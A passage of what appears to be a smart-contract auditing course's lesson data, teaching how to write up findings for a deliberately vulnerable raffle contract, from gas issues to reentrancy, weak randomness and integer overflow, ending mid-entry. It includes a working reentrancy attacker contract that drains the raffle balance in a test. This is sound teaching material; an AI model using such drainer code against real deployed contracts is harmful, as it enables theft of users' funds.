"Reporting: Unchanged state variables should be immutable or constant", + "slug": "reporting-unchanged-state-variables-should-be-immutable-or-constant", + "folderName": "50-reporting-unchanged-state-variables-should-be-immutable-or-constant", + "description": "", + "duration": 2, + "videoUrl": "3LwLVQ5u74onsAKUEcWmSuZUzV2osOKQekJTC7YLVr4", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/50-reporting-unchanged-state-variables-should-be-immutable-or-constant/+page.md", + "markdownContent": "---\ntitle: Reporting - Unchanged State Variables Should Be Immutable Or Constant\n---\n\n_Follow along with this video:_\n\n---\n\n### Unchanged State Variables Should Be Constant or Immutable\n\nSearching for our @Audit comment again, it looks like the next finding we identified was:\n\n```js\n// @Audit-Gas: raffleDuration doesn't change and should be immutable.\n```\n\nNow, just a few lines further in the contract, we've also noted that several variables should be `constant`.\n\n```js\n// @Audit-Gas: Unchanged state variables can be marked as constant\nstring private commonImageUri = \"ipfs://QmSsYRx3LpDAb1GZQm7zZ1AuHZjfbPkD6J7s9r41xu1mf8\";\nstring private rareImageUri = \"ipfs://QmUPjADFGEKmfohdTaNcWhp7VGk26h5jXDA7v3VtTnTLcW\";\nstring private legendaryImageUri = \"ipfs://QmYx6GsYAKnNzZ9A6NvEKV9nf1VaDzJrqDR23Y8YSkebLU\";\n```\n\nWe should compile these into a single gas issue in our `findings.md` document.\n\n```md\n#Gas\n\n### [G-1] Unchanged state variables should be declared constant or immutable\n\nReading from storage is much more expensive than reading a constant or immutable variable.\n\nInstances:\n\n- `PuppyRaffle::raffleDuration` should be `immutable`\n- `PuppyRaffle::commonImageUri` should be `constant`\n- `PuppyRaffle::rareImageUri` should be `constant`\n- `PuppyRaffle::legendaryImageUri` should be `constant`\n```\n\nGreat! Done! Make note in the contract that we've written up this finding and lets move on to the next.\n", + "updates": [] + }, + { + "lessonId": "87a6e0ce-8924-4e56-93f5-c290141ba586", + "number": 51, + "title": "Reporting: Zero address check", + "slug": "reporting-zero-address-check", + "folderName": "51-reporting-zero-address-check", + "description": "", + "duration": 1, + "videoUrl": "q02pwE2OhfpJ00v9uksMLGehGxntAB49Jx5Oz3ayhFiZI", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/51-reporting-zero-address-check/+page.md", + "markdownContent": "---\ntitle: Reporting - Zero Address Check\n---\n\n_Follow along with this video:_\n\n---\n\n### Zero Address Check\n\nWe're flying through these! Next note that comes up when we search our `@Audit` tag is ...\n\n```js\nconstructor(uint256 _entranceFee, address _feeAddress, uint256 _raffleDuration) EERC721 (\"Puppy Raffle, \"PR\"\"){\n// @Audit: check for zero address!\n...\n}\n```\n\nThis is another finding `Aderyn` caught for us, we can just copy and paste this write up into our report like so:\n\n````md\n### [I-3] Missing checks for `address(0)` when assigning values to address state variables\n\nAssigning values to address state variables without checking for `address(0)`.\n\n- Found in src/PuppyRaffle.sol [Line: 69](src/PuppyRaffle.sol#L69)\n\n ```solidity\n feeAddress = _feeAddress;\n ```\n\n- Found in src/PuppyRaffle.sol [Line: 159](src/PuppyRaffle.sol#L159)\n\n ```solidity\n previousWinner = winner;\n ```\n\n- Found in src/PuppyRaffle.sol [Line: 182](src/PuppyRaffle.sol#L182)\n\n ```solidity\n feeAddress = newFeeAddress;\n ```\n````\n\nLeveraging our tools is a great way to speed up the write up process. Thanks, `Aderyn`! Mark the note as complete and we'll move on to the next finding!\n\n```js\nconstructor(uint256 _entranceFee, address _feeAddress, uint256 _raffleDuration) EERC721 (\"Puppy Raffle, \"PR\"\"){\n// @Written: check for zero address!\n...\n}\n```\n", + "updates": [] + }, + { + "lessonId": "b05095c5-9cdf-4737-8c9e-1c9c3d6b7156", + "number": 52, + "title": "Reporting: Storage variables in loops should be cached", + "slug": "reporting-storage-variables-in-loops-should-be-cached", + "folderName": "52-reporting-storage-variables-in-loops-should-be-cached", + "description": "", + "duration": 2, + "videoUrl": "3xflgJsmhwWq4yQLCFsAN302kr9rwu01dlgyRsrMebfp00", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/52-reporting-storage-variables-in-loops-should-be-cached/+page.md", + "markdownContent": "---\ntitle: Reporting - Storage Variables In Loops Should Be Cached\n---\n\n_Follow along with this video:_\n\n---\n\n### Storage Variables in a Loop Should be Cached\n\nSearching again for our `@Audit` tag, we should next come across\n\n```js\n// @Audit-Gas: uint256 playerLength = players.length\n```\n\nThis finding is pointing to a waste of gas incurred by having to always read from storage. In the `enterRaffle` function, Puppy Raffle is checking for duplicates in an inefficient way. We were going to recommend removing this check entirely elsewhere, but we should still report this gas issue.\n\n````md\n### [G-2] Storage Variables in a Loop Should be Cached\n\nEverytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.\n\n```diff\n+ uint256 playersLength = players.length;\n- for (uint256 i = 0; i < players.length - 1; i++) {\n+ for (uint256 i = 0; i < playersLength - 1; i++) {\n- for (uint256 j = i + 1; j < players.length; j++) {\n+ for (uint256 j = i + 1; j < playersLength; j++) {\n require(players[i] != players[j], \"PuppyRaffle: Duplicate player\");\n}\n}\n```\n````\n\nUsing a diff shows clearly what adjustments should be made to optimized for gas.\n\nNext finding!\n", + "updates": [] + }, + { + "lessonId": "aa20a390-002b-4fb2-b7fe-10459f334b3c", + "number": 53, + "title": "Reporting Findings We'll Cover Later", + "slug": "reporting-findings-we'll-cover-later", + "folderName": "53-reporting-findings-we'll-cover-later", + "description": "", + "duration": 1, + "videoUrl": "iW7Xulrh3BtIZ01E0101y4G9OKJ300wdyx6TGuw9kWs7sp4", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/53-reporting-findings-we'll-cover-later/+page.md", + "markdownContent": "---\ntitle: Reporting - Findings We'll Cover Later\n---\n\n_Follow along with this video:_\n\n---\n\nThe next time you search your `@Audit` tag, you may come across a note I briefly mentioned on an MEV vulnerability in Puppy Raffle's `refund` function.\n\n```js\nfunction refund(uint256 playerIndex) public {\n // @Audit: MEV\n address playerAddress = players[playerIndex];\n require(playerAddress == msg.sender, \"PuppyRaffle: Only the player can refund\");\n require(playerAddress != address(0), \"PuppyRaffle: Player already refunded, or is not active\");\n // slither-disable-next-line reentrancy-no-eth,reentrancy-events\n payable(msg.sender).sendValue(entranceFee);\n\n players[playerIndex] = address(0);\n emit RaffleRefunded(playerAddress);\n }\n```\n\nWe're actually going to skip this one for now. MEV's are something we'll return to later in the course to gain a deeper understanding of how they work.\n\nFor now, just mark this note as skipped and we'll continue to the next vulnerability.\n", + "updates": [] + }, + { + "lessonId": "a8dc1aa0-fbfd-4f90-bf52-13a07322c785", + "number": 54, + "title": "Reporting Reentrancy", + "slug": "reporting-reentrancy", + "folderName": "54-reporting-reentrancy", + "description": "", + "duration": 8, + "videoUrl": "QM9fgv9GOhI02Hv00cbvVTAZc4dDLQtXVGDjoVlhQ002OA", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/54-reporting-reentrancy/+page.md", + "markdownContent": "---\ntitle: Reporting - Reentrancy\n---\n\n_Follow along with this video:_\n\n---\n\n### Reporting Reentrancy\n\nThe next finding on our list is `reentrancy`, we finally get to write this up!\n\nWe know this is going to be a high, based on everything we went over and all we learnt about this vulnerability. Keeping in mind ` + `, lets write a suitable title.\n\n---\n\n**Title:**\n\n```\n### [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance\n```\n\n> **Note:** It's often a good idea to go through the steps of building a PoC to prove an issue before taking the time to write things up. We wrote a test for reentracy, that we'll be using, earlier.\n\nOn to the next parts of the report template.\n\n---\n\nFor our description, we want to detail the specifics of the vulnerability, where it's located and the impact it has, using code snippets is a great way to point to trouble areas being discussed.\n\n````\n\n**Description:** The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.\n\nIn the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that call do we update the `PuppyRaffle::players` array.\n\n```js\nfunction refund(uint256 playerIndex) public {\n address playerAddress = players[playerIndex];\n require(playerAddress == msg.sender, \"PuppyRaffle: Only the player can refund\");\n require(playerAddress != address(0), \"PuppyRaffle: Player already refunded, or is not active\");\n\n@> payable(msg.sender).sendValue(entranceFee);\n@> players[playerIndex] = address(0);\n\n emit RaffleRefunded(playerAddress);\n}\n ```\n````\n\n---\n\nNext up is impact, let's clearly detail the effect of this vulnerability being exploited.\n\n```\n**Impact:** All fees paid by raffle entrants could be stolen by a malicious participant.\n```\n\nSimple enough.\n\n---\n\nFortunately we wrote a test for the reentrancy vulnerability earlier, so we can absolutely paste that here. I like to explicitly walk through the steps of the exploit as well.\n\n````\n**Proof of Concept:**\n\n1. User enters the raffle\n2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`\n3. Attacker enters the raffle\n4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the PuppyRaffle balance.\n\n
\nPoC Code\n\nAdd the following to `PuppyRaffle.t.sol`\n\n ```js\ncontract ReentrancyAttacker {\n PuppyRaffle puppyRaffle;\n uint256 entranceFee;\n uint256 attackerIndex;\n\n constructor(PuppyRaffle _puppyRaffle) {\n puppyRaffle = _puppyRaffle;\n entranceFee = puppyRaffle.entranceFee();\n }\n\n function attack() public payable {\n address[] memory players = new address[](1);\n players[0] = address(this);\n puppyRaffle.enterRaffle{value: entranceFee}(players);\n attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));\n puppyRaffle.refund(attackerIndex);\n }\n\n function _stealMoney() internal {\n if (address(puppyRaffle).balance >= entranceFee) {\n puppyRaffle.refund(attackerIndex);\n }\n }\n\n fallback() external payable {\n _stealMoney();\n }\n\n receive() external payable {\n _stealMoney();\n }\n}\n\n// test to confirm vulnerability\nfunction testCanGetRefundReentrancy() public {\n address[] memory players = new address[](4);\n players[0] = playerOne;\n players[1] = playerTwo;\n players[2] = playerThree;\n players[3] = playerFour;\n puppyRaffle.enterRaffle{value: entranceFee * 4}(players);\n\n ReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle);\n address attacker = makeAddr(\"attacker\");\n vm.deal(attacker, 1 ether);\n\n uint256 startingAttackContractBalance = address(attackerContract).balance;\n uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;\n\n // attack\n\n vm.prank(attacker);\n attackerContract.attack{value: entranceFee}();\n\n // impact\n console.log(\"attackerContract balance: \", startingAttackContractBalance);\n console.log(\"puppyRaffle balance: \", startingPuppyRaffleBalance);\n console.log(\"ending attackerContract balance: \", address(attackerContract).balance);\n console.log(\"ending puppyRaffle balance: \", address(puppyRaffle).balance);\n}\n ```\n
\n````\n\n---\n\nLast part - Recommendation. We know this, this protocol should be following CEI.\n\n````\n**Recommendation:** To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally we should move the event emission up as well.\n\n ```diff\n function refund(uint256 playerIndex) public {\n address playerAddress = players[playerIndex];\n require(playerAddress == msg.sender, \"PuppyRaffle: Only the player can refund\");\n require(playerAddress != address(0), \"PuppyRaffle: Player already refunded, or is not active\");\n + players[playerIndex] = address(0);\n + emit RaffleRefunded(playerAddress);\n payable(msg.sender).sendeValue(entranceFees);\n - players[playerIndex] = address(0);\n - emit RaffleRefunded(playerAddress);\n }\n ```\n````\n\n---\n\nGreat! That's all there is to our `reentrancy` report. Be sure to mark these audit notes as actioned and we'll move on to the next vulnerability!\n", + "updates": [] + }, + { + "lessonId": "565e190d-95f9-4d4f-9091-637e52e2c61c", + "number": 55, + "title": "Reporting: getActivePlayerindex", + "slug": "reporting-getActivePlayerIndex-incorrect-for-edge-case", + "folderName": "55-reporting-getActivePlayerIndex-incorrect-for-edge-case", + "description": "", + "duration": 5, + "videoUrl": "rrpN3S3H02pZ00xmnNhg6juOKj02otr5I28KnTc27I7x01A", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/55-reporting-getActivePlayerIndex-incorrect-for-edge-case/+page.md", + "markdownContent": "---\ntitle: Reporting - getActivePlayerIndex Incorrect For Edge Case\n---\n\n_Follow along with this video:_\n\n---\n\n### getActivePlayerIndex Incorrect for Edge Case\n\nNext finding we marked down was regarding `getActivePlayerIndex`. The issue we outlined here was, if a player exists at index 0, they may erroneously believe they are not entered into the raffle.\n\nLet's begin the write up with a title. There's some argument to be had that a vulnerability of this nature would be `Medium Severity`. If we consider however, that the impact is really only affecting a single user, `Low` could be appropriate as well, noting that the likelihood is a bit of a toss up - is it high, because it certainly happens if player[0] calls this function, or is it low because _only_ player[0] can call this function?\n\nUltimately we're going to record this as a low. My title is going to look like so:\n\n```\n[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existant players and players at index 0 causing players to incorrectly think they have not entered the raffle\n```\n\nRoot Cause. Impact. Classic. 😆\n\nNEXT, DESCRIPTION! Define where the bug is and how it's encountered/exploited.\n\n````\n**Description:** If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec it will also return zero if the player is NOT in the array.\n\n\n ```js\n function getActivePlayerIndex(address player) external view returns (uint256) {\n for (uint256 i = 0; i < players.length; i++) {\n if (players[i] == player) {\n return i;\n }\n }\n return 0;\n }\n ```\n````\n\nImpact. Let's spell out the practical effect of this bug\n\n```\n**Impact:** A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.\n```\n\nA Proof of Code/Concept is something we should always strive to include in our reports. For `Low Severity` issues however, it may not be necessary to extraneously include test cases et al for what are otherwise simple to describe issues.\n\nFor this report, I'm just going to outline the steps that lead to encountering the vulnerability.\n\n```\n**Proof of Concept:**\n\n1. User enters the raffle, they are the first entrant\n2. `PuppyRaffle::getActivePlayerIndex` returns 0\n3. User thinks they have not entered correctly due to the function documentation\n```\n\nAs for mitigations, there are a few things that could solve this issue for the protocol. There's no reason to limit ourselves to just one.\n\n```\n**Recommendations:** The easiest recommendation would be to revert if the player is not in the array instead of returning 0.\n\nYou could also reserve the 0th position for any competition, but an even better solution might be to return an `int256` where the function returns -1 if the player is not active.\n```\n\nDone!\n\n### Wrap Up\n\nWe're getting really quick at these write ups now. You can see that the severity of an issue uncovered often pertains to the complexity of it's write up.\n\nWe've a few more reports to complete, lets keep going.\n", + "updates": [] + }, + { + "lessonId": "9b6aa31f-a11a-43d3-ac79-5361ac447c50", + "number": 56, + "title": "Reporting: Should Follow CEI", + "slug": "reporting-should-follow-cei", + "folderName": "56-reporting-should-follow-cei", + "description": "", + "duration": 2, + "videoUrl": "UH4i6O3jqmRTqQoVPkonfZdrpy01Gd00DQEHbAZMt7WEk", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/56-reporting-should-follow-cei/+page.md", + "markdownContent": "---\ntitle: Reporting - Should Follow CEI\n---\n\n_Follow along with this video:_\n\n---\n\n### selectWinner Should Follow CEI\n\nTaking a look at our next `@Audit` tag, this finding should be another quick one. We'd identified that the `selectWinner` function was another instance where PuppyRaffle isn't following CEI (Checks, Effects, Interactions). However, unlike our `reentrancy` situation, there doesn't seem to be a way to exploit it in `selectWinner`. Resultingly, this is going to be our 4th `informational`.\n\n````\n**Title:** [I-4] does not follow CEI, which is not a best practice\n\nIt's best to keep code cleaen and follow CEI (Checks, Effects, Interactions).\n\n ```diff\n- (bool success,) = winner.call{value: prizePool}(\"\");\n- require(success, \"PuppyRaffle: Failed to send prize pool to winner\");\n _safeMint(winner, tokenId);\n+ (bool success,) = winner.call{value: prizePool}(\"\");\n+ require(success, \"PuppyRaffle: Failed to send prize pool to winner\");\n ```\n````\n\nWith `informational` findings, you may notice our write ups don't always strictly adhere to outlining things like impact. `Informational` findings are often very subjective in both their impact and their recommended fixes. What defines _clean code_, for example, may vary from developer to developer.\n\nWith that said, this write up looks great. Lets move on to `weak randomness` next.\n", + "updates": [] + }, + { + "lessonId": "c4b25549-967f-4ff6-81b5-314786b4f966", + "number": 57, + "title": "Reporting: Weak Randomness", + "slug": "reporting-weak-randomness", + "folderName": "57-reporting-weak-randomness", + "description": "", + "duration": 6, + "videoUrl": "esHpEFhlZ8FNWEGUT501FCLzrmMV1P32mWTywbpo01rmM", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/57-reporting-weak-randomness/+page.md", + "markdownContent": "---\ntitle: Reporting - Weak Randomness\n---\n\n_Follow along with this video:_\n\n---\n\n### Weak Randomness\n\nOur next marked finding was also in `selectWinner` and is referencing weak randomness.\n\n```js\nfunction selectWinner() external {\n uint256 winnerIndex =\n uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;\n ...\n uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;\n}\n```\n\nLets consider what the severity of this would be by assessing the Impact and Likelihood.\n\n- **Impact:** High - If someone is able to predict the outcome of a raffle and exploit this knowledge, this fundamentally breaks this protocol's functionality.\n- **Likelihood:** High - A user has a lot of incentive to assure they win, and assure their token is rare. It's very likely this would be exploited.\n\nOur assessment pretty clearly points to this finding being of `High Severity`. Fortunately in previous lessons we already wrote a Proof of Concept for this, so let's take our finding template and start filling it in.\n\n```\n**Title:**\n### [H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy\n\n**Description:** Hashing `msg.sender`, `block,timestamp` and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.\n\n**Note:** This additionally means users could front-run this function and call `refund` if they see they are not the winner.\n```\n\nWe'll talk more about front-running and MEV concerns later in the course, but know this exposes a vulnerability of this type here too.\n\nWhat's the impact of this?\n\n```\n**Impact:** Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if a gas war to choose a winner results.\n```\n\nFor our Proof of Concept, lets begin by outlining the details of exploiting this vulnerability. This attack vector is well known, so I might be cheating a little bit by linking to a reference of this exploit - but I challenge you to write a test that proves this vulnerability!\n\n```\n**Proof of Concept:**\n\n1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and usee that to predict when/how to participate. See the [solidity blog on prevrandao](https://soliditydeveloper.com/prevrandao). `block.difficulty` was recently replaced with prevrandao.\n2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!\n3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.\n\nUsing on-chain values as a randomness seed is a [well-documented attack vector](https://betterprogramming.pub/how-to-generate-truly-random-numbers-in-solidity-and-blockchain-9ced6472dbdf) in the blockchain space.\n```\n\nAnyone who knows me, or as seen any of my other content knows what my recommendation is going to be!\n\n```\n**Recommended Mitigation:** Consider using a cryptographically provable random number generator such as [Chainlink VRF](https://docs.chain.link/vrf)\n```\n\nThat's one more down! Our next finding to write up is `Magic Numbers`!\n", + "updates": [] + }, + { + "lessonId": "afad0ae1-70b3-498c-af87-b23de07534ff", + "number": 58, + "title": "Reporting: Magic Numbers", + "slug": "reporting-magic-numbers", + "folderName": "58-reporting-magic-numbers", + "description": "", + "duration": 2, + "videoUrl": "YZJPFoPoAnSJ8WwzKvLlb7MQ027mPU8FAdDtYCDdtMFE", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/58-reporting-magic-numbers/+page.md", + "markdownContent": "---\ntitle: Reporting - Magic Numbers\n---\n\n_Follow along with this video:_\n\n---\n\n### Reporting Magic Numbers\n\nNext up, we see the `selectWinner` function come up again with our `@Audit` tag. This time, it's pointing to `magic numbers`. Definitely an `informational` we should write up.\n\n```js\nuint256 prizePool = (totalAmountCollected * 80) / 100;\nuint256 fee = (totalAmountCollected * 20) / 100;\n```\n\nWe see the problem here. When reading through a code base, number literals can make things difficult to understand.\n\nLets add this to our `findings.md` report.\n\n````\n### [I-5] Use of \"magic\" numbers is discouraged\n\nIt can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.\n\nExamples:\n ```js\n uint256 public constant PRIZE_POOL_PERCENTAGE = 80;\n uint256 public constant FEE_PERCENTAGE = 20;\n uint256 public constant POOL_PRECISION = 100;\n\n uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / POOL_PRECISION;\n uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;\n ```\n````\n\nWe could probably be a little more verbose, but for the purposes of an `informational` in a private audit setting, this is sufficient. Mark it as complete and let's move on.\n", + "updates": [] + }, + { + "lessonId": "1423bd4e-6f88-4869-8ddf-cc8d3f83720f", + "number": 59, + "title": "Reporting: Integer Overflow", + "slug": "reporting-integer-overflow", + "folderName": "59-reporting-integer-overflow", + "description": "", + "duration": 8, + "videoUrl": "Qu2fgua01IMbwQiLGcy7OOnOj73bmdCw6SYlVG2NLkCE", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/59-reporting-integer-overflow/+page.md", + "markdownContent": "---\ntitle: Reporting - Integer Overflow\n---\n\n_Follow along with this video:_\n\n---\n\n### Integer Overflow and Unsafe Casting\n\nLets start with the integer overflow we identified in the `selectWinner` function. We thoroughly went through this vulnerability in previous lessons!\n\n```js\ntotalFees = totalFees + uint64(fee);\n```\n\nWe should begin by determining severity.\n\n- **Impact:** High - Fees are at risk of being lost/stuck. This typically is going to result in a high impact.\n- **Likelihood:** High - It could be argued that this is a `medium`, but the risk increases with how successful the protocol becomes, and we want Puppy Raffle to be successful. High.\n\nWith the above determined, let's start filling out our finding template. I know this seems repetitive, but this is what's going to make you _really good_ at writing these reports.\n\n```\n### [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees\n```\n\nFor the description section, lets include some of the work we did in `chisel` to show this happening.\n\n````\n### [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees\n\n**Description:** In solidity versions prior to `0.8.0` integers were subject to integer overflows.\n\n ```js\n uint64 myVar = type(uint64).max\n // 18446744073709551615\n myVar = myVar + 1\n // myVar will be 0\n ```\n\n**Impact:** In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract\n````\n\nNow, we didn't write a Proof of Concept together for this, but I _have_ prepared one. This is another moment I'm going to challenge you to write one yourself before continuing. You need to practice these skills to improve them.\n\nOnce you've made an attempt, compare what you've done with the PoC I've provided below to see how you did!\n\n
\nInteger Overflow PoC\n\n1. We conclude a raffle of 4 players\n2. We then have 89 players enter a new raffle, and conclude the raffle\n3. 3. `totalFees` will be:\n\n```js\ntotalFees = totalFees + uint64(fee);\n// substituted\ntotalFees = 800000000000000000 + 17800000000000000000;\n// due to overflow, the following is now the case\ntotalFees = 153255926290448384;\n```\n\n4. You will not be able to withdraw due to the line in `PuppyRaffle::withdrawFees`:\n\n```js\nrequire(address(this).balance ==\n uint256(totalFees), \"PuppyRaffle: There are currently players active!\");\n```\n\nAlthough you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.\n\n
\nCode\n\n```js\nfunction testTotalFeesOverflow() public playersEntered {\n // We finish a raffle of 4 to collect some fees\n vm.warp(block.timestamp + duration + 1);\n vm.roll(block.number + 1);\n puppyRaffle.selectWinner();\n uint256 startingTotalFees = puppyRaffle.totalFees();\n // startingTotalFees = 800000000000000000\n\n // We then have 89 players enter a new raffle\n uint256 playersNum = 89;\n address[] memory players = new address[](playersNum);\n for (uint256 i = 0; i < playersNum; i++) {\n players[i] = address(i);\n }\n puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);\n // We end the raffle\n vm.warp(block.timestamp + duration + 1);\n vm.roll(block.number + 1);\n\n // And here is where the issue occurs\n // We will now have fewer fees even though we just finished a second raffle\n puppyRaffle.selectWinner();\n\n uint256 endingTotalFees = puppyRaffle.totalFees();\n console.log(\"ending total fees\", endingTotalFees);\n assert(endingTotalFees < startingTotalFees);\n\n // We are also unable to withdraw any fees because of the require check\n vm.prank(puppyRaffle.feeAddress());\n vm.expectRevert(\"PuppyRaffle: There are currently players active!\");\n puppyRaffle.withdrawFees();\n}\n```\n\n
\n\n
\n\n---\n\nI trust you attempted the PoC yourself - time to add our recommended mitigation\n\n````\n**Recommended Mitigation:** There are a few recommended mitigations here.\n\n1. Use a newer version of Solidity that does not allow integer overflows by default.\n ```diff\n - pragma solidity ^0.7.6;\n + pragma solidity ^0.8.18;\n ```\nAlternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.\n\n1. Use a `uint256` instead of a `uint64` for `totalFees`.\n ```diff\n - uint64 public totalFees = 0;\n + uint256 public totalFees = 0;\n ```\n2. Remove the balance check in `PuppyRaffle::withdrawFees`\n ```diff\n - require(address(this).balance == uint256(totalFees), \"PuppyRaffle: There are currently players active!\");\n ```\nWe additionally want to bring your attention to another attack vector as a result of this line in a future finding.\n````\n\nThere's another finding we identified which is going to have a write up that is very similar to this one - unsafe casting. I'm going to challenge you to write this one yourself (as its a little repetitive and uninteresting after what we just did), but it's good practice. Compare your write up versus mine below.\n\n
\nUnsafe Casting Write Up\n \n ### [M-3] Unsafe cast of `PuppyRaffle::fee` loses fees\n\n **Description:** In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.\n\n ```javascript\n function selectWinner() external {\n require(block.timestamp >= raffleStartTime + raffleDuration, \"PuppyRaffle: Raffle not over\");\n require(players.length > 0, \"PuppyRaffle: No players in raffle\");\n\n uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;\n address winner = players[winnerIndex];\n uint256 fee = totalFees / 10;\n uint256 winnings = address(this).balance - fee;\n @> totalFees = totalFees + uint64(fee);\n players = new address[](0);\n emit RaffleWinner(winner, winnings);\n }\n ```\n\n The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.\n\n **Impact:** This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.\n\n **Proof of Concept:**\n\n 1. A raffle proceeds with a little more than 18 ETH worth of fees collected\n 2. The line that casts the `fee` as a `uint64` hits\n 3. `totalFees` is incorrectly updated with a lower amount\n\n You can replicate this in foundry's chisel by running the following:\n\n ```javascript\n uint256 max = type(uint64).max\n uint256 fee = max + 1\n uint64(fee)\n // prints 0\n ```\n\n **Recommended Mitigation:** Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:\n\n ```javascript\n // We do some storage packing to save gas\n ```\n But the potential gas saved isn't worth it if we have to recast and this bug exists.\n\n ```diff\n - uint64 public totalFees = 0;\n + uint256 public totalFees = 0;\n .\n .\n .\n function selectWinner() external {\n require(block.timestamp >= raffleStartTime + raffleDuration, \"PuppyRaffle: Raffle not over\");\n require(players.length >= 4, \"PuppyRaffle: Need at least 4 players\");\n uint256 winnerIndex =\n uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;\n address winner = players[winnerIndex];\n uint256 totalAmountCollected = players.length * entranceFee;\n uint256 prizePool = (totalAmountCollected * 80) / 100;\n uint256 fee = (totalAmountCollected * 20) / 100;\n - totalFees = totalFees + uint64(fee);\n + totalFees = totalFees + fee;\n ```\n", + "updates": [] + }, + { + "lessonId": "de5044e6-06ff-4e3c-b117-292bf5babb9b", + "number": 60, + "title": "Reporting: Smart Contract Wallet Reverts Winning", + "slug": "reporting-smart-contract-wallet-reverts-winning", + "folderName": "60-reporting-smart-contract-wallet-reverts-winning", + "description": "", + "duration": 5, + "videoUrl": "5n01fhvcNxXLLAJx01g5tV82UoZjhxjG4Vrz7uv01dbFb00", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/60-reporting-smart-contract-wallet-reverts-winning/+page.md", + "markdownContent": "---\ntitle: Reporting - Smart Contract Wallet Reverts Winning\n---\n\n_Follow along with this video:_\n\n---\n\n### Smart Contract Wallet Reverts Winning\n\nNext vulnerability on our docket is going to be:\n\n```js\n//@Audit: winner wouldn't get their money if their fallback was messed up!\n```\n\nThis is absolutely an issue, our write up for it may be a _little_ lazy, but I think it's an important concept to be aware of.\n\nTo assess the severity, we again consider:\n\n- **Impact:** Medium - potentially wastes gas, disrupts the functionality of the protocol when selectWinner continually reverts\n- **Likelihood:** Low - the impact is only severe when there are a lot of users, so I think we can safely say low.\n\nSorted, lets fill out our finding template.\n\n```\n### [M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest\n\n**Description:** The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.\n\nNon-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.\n\n**Impact:** The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.\n\nAlso, true winners would not be able to get paid out, and someone else would win their money!\n\n**Proof of Concept:**\n1. 10 smart contract wallets enter the lottery without a fallback or receive function.\n2. The lottery ends\n3. The `selectWinner` function wouldn't work, even though the lottery is over!\n\n**Recommended Mitigation:** There are a few options to mitigate this issue.\n\n1. Do not allow smart contract wallet entrants (not recommended)\n2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)\n```\n\nTo briefly touch on our recommendations here - The reason disallowing smart contract entrants would not be a preferred mitigation, is that this would restrict situations like multisignature wallets from participating. We'd much rather not lock people out entirely.\n\nFor this reason the second recommendation is preferred. This established a really good design pattern known as `Pull over Push`, where ideally, the user is making a request for funds, instead of a protocol distributing them.\n\nWe've only got a few findings left! Let's keep going!\n", + "updates": [] + }, + { + "lessonId": "24ea49ec-c15f-46d4-8f90-6830938e381d", + "number": 61, + "title": "Reporting: Mishandling Of ETH", + "slug": "reporting-mishandling-of-eth", + "folderName": "61-reporting-mishandling-of-eth", + "description": "", + 